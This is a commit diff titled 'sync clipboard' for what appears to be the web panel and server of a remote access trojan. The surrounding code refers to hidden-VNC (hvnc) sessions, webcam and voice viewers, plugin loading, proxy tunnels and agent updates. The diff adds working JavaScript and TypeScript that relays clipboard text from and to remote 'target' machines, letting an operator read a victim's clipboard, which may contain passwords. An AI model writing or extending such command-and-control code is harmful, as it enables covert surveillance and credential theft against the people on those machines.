sync clipboard
This commit is contained in:
@@ -66,6 +66,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
const agentFps = document.getElementById("agentFps");
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
@@ -92,6 +93,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
let h264ErrorCount = 0;
|
||||
let h264RetryTimer = null;
|
||||
|
||||
let clipboardSyncTimer = null;
|
||||
let lastClipboardText = "";
|
||||
let clipboardSyncActive = false;
|
||||
|
||||
const storedCodecPref = localStorage.getItem(codecPrefKey);
|
||||
if (storedCodecPref === "0") {
|
||||
prefersH264 = false;
|
||||
@@ -179,6 +184,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
|
||||
updateControls();
|
||||
checkClipboardSync();
|
||||
}
|
||||
|
||||
function updateControls() {
|
||||
@@ -196,6 +202,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
}
|
||||
|
||||
function startClipboardSync() {
|
||||
if (clipboardSyncActive) return;
|
||||
clipboardSyncActive = true;
|
||||
lastClipboardText = "";
|
||||
sendCmd("clipboard_sync_start", {});
|
||||
clipboardSyncTimer = setInterval(async () => {
|
||||
if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
|
||||
stopClipboardSync();
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const text = await navigator.clipboard.readText();
|
||||
if (text && text !== lastClipboardText) {
|
||||
lastClipboardText = text;
|
||||
sendCmd("clipboard_sync", { text });
|
||||
}
|
||||
} catch {}
|
||||
}, 1500);
|
||||
}
|
||||
|
||||
function stopClipboardSync() {
|
||||
if (!clipboardSyncActive) return;
|
||||
clipboardSyncActive = false;
|
||||
if (clipboardSyncTimer) {
|
||||
clearInterval(clipboardSyncTimer);
|
||||
clipboardSyncTimer = null;
|
||||
}
|
||||
sendCmd("clipboard_sync_stop", {});
|
||||
}
|
||||
|
||||
function checkClipboardSync() {
|
||||
const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
|
||||
if (shouldSync && !clipboardSyncActive) {
|
||||
startClipboardSync();
|
||||
} else if (!shouldSync && clipboardSyncActive) {
|
||||
stopClipboardSync();
|
||||
}
|
||||
}
|
||||
|
||||
if (clipboardSyncCtrl) {
|
||||
clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
|
||||
}
|
||||
|
||||
function clearOfflineTimer() {
|
||||
if (offlineTimer) {
|
||||
clearTimeout(offlineTimer);
|
||||
@@ -655,6 +704,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||
lastClipboardText = msg.text;
|
||||
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||
}
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -675,6 +731,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||
lastClipboardText = msg.text;
|
||||
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
function onWsOpen() {
|
||||
|
||||
@@ -39,6 +39,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const inputLatency = document.getElementById("inputLatency");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
ws.binaryType = "arraybuffer";
|
||||
|
||||
let activeClientId = clientId;
|
||||
@@ -79,6 +80,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
const inputBackpressureBytes = 256 * 1024;
|
||||
let lastMoveSentAt = 0;
|
||||
|
||||
let clipboardSyncTimer = null;
|
||||
let lastClipboardText = "";
|
||||
let clipboardSyncActive = false;
|
||||
|
||||
function resetH264RuntimeState() {
|
||||
h264TimestampUs = 0;
|
||||
h264LowFpsStreak = 0;
|
||||
@@ -181,6 +186,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
|
||||
updateControls();
|
||||
checkClipboardSync();
|
||||
}
|
||||
|
||||
function updateControls() {
|
||||
@@ -199,6 +205,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
}
|
||||
|
||||
function startClipboardSync() {
|
||||
if (clipboardSyncActive) return;
|
||||
clipboardSyncActive = true;
|
||||
lastClipboardText = "";
|
||||
sendCmd("clipboard_sync_start", {});
|
||||
clipboardSyncTimer = setInterval(async () => {
|
||||
if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
|
||||
stopClipboardSync();
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const text = await navigator.clipboard.readText();
|
||||
if (text && text !== lastClipboardText) {
|
||||
lastClipboardText = text;
|
||||
sendCmd("clipboard_sync", { text });
|
||||
}
|
||||
} catch {}
|
||||
}, 1500);
|
||||
}
|
||||
|
||||
function stopClipboardSync() {
|
||||
if (!clipboardSyncActive) return;
|
||||
clipboardSyncActive = false;
|
||||
if (clipboardSyncTimer) {
|
||||
clearInterval(clipboardSyncTimer);
|
||||
clipboardSyncTimer = null;
|
||||
}
|
||||
sendCmd("clipboard_sync_stop", {});
|
||||
}
|
||||
|
||||
function checkClipboardSync() {
|
||||
const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
|
||||
if (shouldSync && !clipboardSyncActive) {
|
||||
startClipboardSync();
|
||||
} else if (!shouldSync && clipboardSyncActive) {
|
||||
stopClipboardSync();
|
||||
}
|
||||
}
|
||||
|
||||
if (clipboardSyncCtrl) {
|
||||
clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
|
||||
}
|
||||
|
||||
function updateLatency(ms) {
|
||||
if (ms < 0 || !Number.isFinite(ms)) return;
|
||||
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
|
||||
@@ -853,6 +902,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
updateLatency(Number(msg.ms) || 0);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||
lastClipboardText = msg.text;
|
||||
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||
}
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -865,6 +921,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
updateLatency(Number(msg.ms) || 0);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||
lastClipboardText = msg.text;
|
||||
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||
}
|
||||
return;
|
||||
}
|
||||
});
|
||||
|
||||
ws.addEventListener("open", function () {
|
||||
|
||||
@@ -130,6 +130,9 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||
>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -136,6 +136,9 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)"
|
||||
><input type="checkbox" id="duplicationCtrl" /> GPU Capture</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
|
||||
<span class="text-slate-400">Smoothing</span>
|
||||
<input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
|
||||
|
||||
@@ -80,6 +80,7 @@ import {
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleClipboardContent,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
@@ -477,6 +478,7 @@ async function startServer() {
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleClipboardContent,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
|
||||
@@ -97,7 +97,10 @@ export type CommandType =
|
||||
| "plugin_load_chunk"
|
||||
| "plugin_load_finish"
|
||||
| "plugin_unload"
|
||||
| "agent_update";
|
||||
| "agent_update"
|
||||
| "clipboard_set"
|
||||
| "clipboard_sync_start"
|
||||
| "clipboard_sync_stop";
|
||||
|
||||
export type Command = {
|
||||
type: "command";
|
||||
|
||||
@@ -77,6 +77,7 @@ type WsLifecycleDeps = {
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -529,6 +530,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_lookup_result":
|
||||
deps.handleHVNCLookupResult(client.id, payload);
|
||||
break;
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
case "proxy_data": {
|
||||
const connId = (payload as any).connectionId;
|
||||
const tunnelData = (payload as any).data;
|
||||
|
||||
@@ -434,6 +434,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
if (!state.isStreaming) break;
|
||||
const text = String(payload.text || "");
|
||||
if (text) {
|
||||
sendDesktopCommand(target, "clipboard_set", { text });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_start": {
|
||||
if (!state.isStreaming) break;
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "rd" });
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_stop": {
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -504,6 +521,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
if (!text) return;
|
||||
if (source === "hvnc") {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||
}
|
||||
} else {
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
@@ -734,6 +766,23 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
if (!state.isStreaming) break;
|
||||
const text = String(payload.text || "");
|
||||
if (text) {
|
||||
sendHVNCCommand(target, "clipboard_set", { text });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_start": {
|
||||
if (!state.isStreaming) break;
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_stop": {
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
]);
|
||||
|
||||
Reference in New Issue
Block a user